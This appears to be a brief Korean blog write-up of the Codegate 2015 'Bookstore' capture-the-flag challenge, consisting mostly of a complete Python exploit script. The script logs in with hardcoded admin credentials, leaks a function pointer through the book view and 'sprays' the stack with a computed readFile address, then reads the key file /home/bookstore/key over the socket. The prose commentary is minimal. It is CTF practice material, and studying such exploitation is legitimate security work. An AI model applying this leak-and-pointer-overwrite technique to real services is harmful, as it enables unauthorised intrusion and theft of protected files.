Codegate 2015 - Bookstore

푸는데 오래걸리지는 않았지만 릭이 안 되는 경우가 가끔 있어서 짜증났던 문제.

이걸 스택 스프레이라고 불러도 될지 모르겠지만 어쨌든 남아있는 영역에서 참조하는게 문제가 되는 케이스이므로 그렇게 썼다. 이제 Bookstore2도 해야 하고...과제도... 으아아

from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.169'
PORT = 31330
 
#====================================================
offset_func1_read = 0xd2
adminID = 'helloadmin'
adminPW = 'iulover!@#$'
#====================================================
 
banner()
 
print "===================[ Phase 1 : Leak FuncPointer ]=================="
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
sock.recv(1024)
sock.send(adminID)
sleep(0.1)
sock.recv(1024)
sock.send(adminPW)
sleep(0.1)
sock.recv(1024)
 
sock.send('1\n') # addBook
sleep(0.1)
sock.recv(2046)
 
sock.send('A') # name
sleep(0.1)
sock.recv(2046)
 
sock.send('A') # desc
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n') # book
sleep(0.1)
sock.recv(2046)
 
sock.send('2\n') # modify
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('3\n') # all
sleep(0.1)
sock.recv(2046)
 
sock.send(str(0x33333333)+'\n') # stock
sleep(0.1)
sock.recv(2046)
 
sock.send(str(0x34343434)+'\n') # price
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n') # ship
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n') # available
sleep(0.1)
sock.recv(2046)
 
sock.send('A'*20) # name
sleep(0.1)
sock.recv(2046) 
 
sock.send('B'*20) # description
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n') # back
sleep(0.1)
sock.recv(2046)
 
#============================================
 
sock.send('4\n') # view
sleep(0.1)
 
data = sock.recv(2048)
#sleep(0.1)
funcptr1 = up32(data[data.find('3333')+4:data.find('3333')+8])[0]
readFile = funcptr1 - offset_func1_read
print "[*] Find funcptr1 : "+hex(funcptr1)
print "[*] Find ReadFile : "+hex(readFile)
 
 
#mainmenu
 
#modify_name
 
print "================[ Phase 2 : Attack with Stack Spray ]==============="
 
sock.send('2\n') # modify
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n') # name
sleep(0.1)
sock.recv(2046)
 
sock.send(p32(readFile)*125)
sleep(0.1)
sock.recv(2046)
 
#============================================
 
sock.send('3\n') # all
sleep(0.1)
sock.recv(2046)
 
sock.send('1234\n') # stock
sleep(0.1)
sock.recv(2046)
 
sock.send('1234\n') # price
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n') # ship
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n') # available
sleep(0.1)
sock.recv(2046)
 
sock.send('/home/bookstore/key\x00') # name
sleep(0.1)
sock.recv(2046)
 
sock.send('Fxxx_Bookstore') # desc
sleep(0.1)
sock.recv(2046)
 
sock.send('4\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('3\n') # view
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
data = sock.recv(2048)
print "Key : "+data[data.find('Fxxx_Bookstore')+15:data.find('\n', data.find('Fxxx_Bookstore')+15)]
 
sock.close()